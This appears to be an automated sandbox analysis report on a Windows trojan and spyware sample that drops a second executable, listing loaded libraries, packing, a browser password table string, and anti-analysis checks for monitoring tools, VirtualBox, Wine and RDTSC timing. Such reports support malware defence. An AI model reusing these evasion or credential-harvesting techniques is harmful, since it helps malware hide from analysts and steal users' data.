Source: JJZGOUTRQA0HU75NUH14KKL5I2.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@5/2

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Code function: 3_2_056315D0 ChangeServiceConfigA,

3_2_056315D0

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\JJZGOUTRQA0HU75NUH14KKL5I2.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2080748403.0000000005554000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2081091703.0000000005535000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094477752.0000000005554000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: JJZGOUTRQA0HU75NUH14KKL5I2.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: +RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeP

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe "C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe "C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Section loaded: sspicli.dll	Jump to behavior

Source: file.exe

Static file information: File size 2895360 > 1048576

Source: file.exe

Static PE information: Raw size of smouarfw is bigger than: 0x100000 < 0x297800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.80000.0.unpack :EW;.rsrc :W;.idata :W;smouarfw:EW;kausvzmd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;smouarfw:EW;kausvzmd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Unpacked PE file: 3.2.JJZGOUTRQA0HU75NUH14KKL5I2.exe.e60000.0.unpack :EW;.rsrc:W;.idata :W;lyjcneci:EW;zpigplui:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: JJZGOUTRQA0HU75NUH14KKL5I2.exe.0.dr	Static PE information: real checksum: 0x2c1fb3 should be: 0x2b75b7
Source: file.exe	Static PE information: real checksum: 0x2ccab1 should be: 0x2ce78a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: smouarfw
Source: file.exe	Static PE information: section name: kausvzmd
Source: file.exe	Static PE information: section name: .taggant
Source: JJZGOUTRQA0HU75NUH14KKL5I2.exe.0.dr	Static PE information: section name:
Source: JJZGOUTRQA0HU75NUH14KKL5I2.exe.0.dr	Static PE information: section name: .idata
Source: JJZGOUTRQA0HU75NUH14KKL5I2.exe.0.dr	Static PE information: section name: lyjcneci
Source: JJZGOUTRQA0HU75NUH14KKL5I2.exe.0.dr	Static PE information: section name: zpigplui
Source: JJZGOUTRQA0HU75NUH14KKL5I2.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5DB4E push ds; ret	0_3_00C5DB5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5DB4E push ds; ret	0_3_00C5DB5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5DB4E push ds; ret	0_3_00C5DB5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C583F4 push es; ret	0_3_00C583F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C583F4 push es; ret	0_3_00C583F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5B87F push ds; ret	0_3_00C5B88E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5B87F push ds; ret	0_3_00C5B88E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5EE86 push ds; ret	0_3_00C5EE95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5EE86 push ds; ret	0_3_00C5EE95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5EE86 push ds; ret	0_3_00C5EE95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C583F4 push es; ret	0_3_00C583F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C583F4 push es; ret	0_3_00C583F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5EE86 push ds; ret	0_3_00C5EE95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5EE86 push ds; ret	0_3_00C5EE95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5EE86 push ds; ret	0_3_00C5EE95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5DB4E push ds; ret	0_3_00C5DB5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5DB4E push ds; ret	0_3_00C5DB5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5DB4E push ds; ret	0_3_00C5DB5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5B87F push ds; ret	0_3_00C5B88E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5B87F push ds; ret	0_3_00C5B88E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5DB4E push ds; ret	0_3_00C5DB5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5DB4E push ds; ret	0_3_00C5DB5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5DB4E push ds; ret	0_3_00C5DB5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5EE86 push ds; ret	0_3_00C5EE95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5EE86 push ds; ret	0_3_00C5EE95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C5EE86 push ds; ret	0_3_00C5EE95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C63BBE push ds; ret	0_3_00C63BCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C63BBE push ds; ret	0_3_00C63BCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C769CA push ecx; iretd	0_3_00C769CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C769CA push ecx; iretd	0_3_00C769CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C7C1C8 pushad ; ret	0_3_00C7C1C9

Source: file.exe	Static PE information: section name: entropy: 7.9791642754334005
Source: JJZGOUTRQA0HU75NUH14KKL5I2.exe.0.dr	Static PE information: section name: entropy: 7.798163974855189

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 255A6A second address: 255A77 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD28914AC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 255A77 second address: 255A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jp 00007FD2886DB1A6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 24083F second address: 240849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FD28914AC76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 240849 second address: 240866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 254A1F second address: 254A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD28914AC76h 0x0000000a pop edx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 254BBD second address: 254BC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 254E8A second address: 254E9E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnp 00007FD28914AC76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007FD28914AC76h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 254E9E second address: 254EA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 254EA2 second address: 254EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FD28914AC82h 0x0000000c jbe 00007FD28914AC76h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25502B second address: 25502F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 255303 second address: 25531A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FD28914AC7Fh 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 256DFC second address: 256E0D instructions: 0x00000000 rdtsc 0x00000002 js 00007FD2886DB1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 256E0D second address: 256E98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007FD28914AC83h 0x00000019 mov eax, dword ptr [eax] 0x0000001b jns 00007FD28914AC83h 0x00000021 jmp 00007FD28914AC7Dh 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a jmp 00007FD28914AC7Ah 0x0000002f pop eax 0x00000030 mov esi, 38206065h 0x00000035 lea ebx, dword ptr [ebp+1244BBA9h] 0x0000003b push 00000000h 0x0000003d push ecx 0x0000003e call 00007FD28914AC78h 0x00000043 pop ecx 0x00000044 mov dword ptr [esp+04h], ecx 0x00000048 add dword ptr [esp+04h], 00000015h 0x00000050 inc ecx 0x00000051 push ecx 0x00000052 ret 0x00000053 pop ecx 0x00000054 ret 0x00000055 mov ecx, 32D9CFD0h 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push ebx 0x0000005e jo 00007FD28914AC76h 0x00000064 pop ebx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2770D2 second address: 2770D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2770D6 second address: 2770DC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2770DC second address: 2770EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2770EB second address: 2770F5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD28914AC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2770F5 second address: 2770FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2770FB second address: 27710C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD28914AC7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27710C second address: 277110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 277110 second address: 277124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD28914AC76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007FD28914AC76h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23B7B9 second address: 23B7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 jng 00007FD2886DB1DBh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 js 00007FD2886DB1A6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23B7CF second address: 23B7D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275228 second address: 275235 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275235 second address: 275242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FD28914AC76h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275242 second address: 27525D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD2886DB1A6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FD2886DB1ACh 0x00000015 jp 00007FD2886DB1A6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275873 second address: 275895 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD28914AC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c je 00007FD28914AC7Eh 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jng 00007FD28914AC76h 0x0000001a jnp 00007FD28914AC7Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275E1A second address: 275E2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275E2F second address: 275E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275E35 second address: 275E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
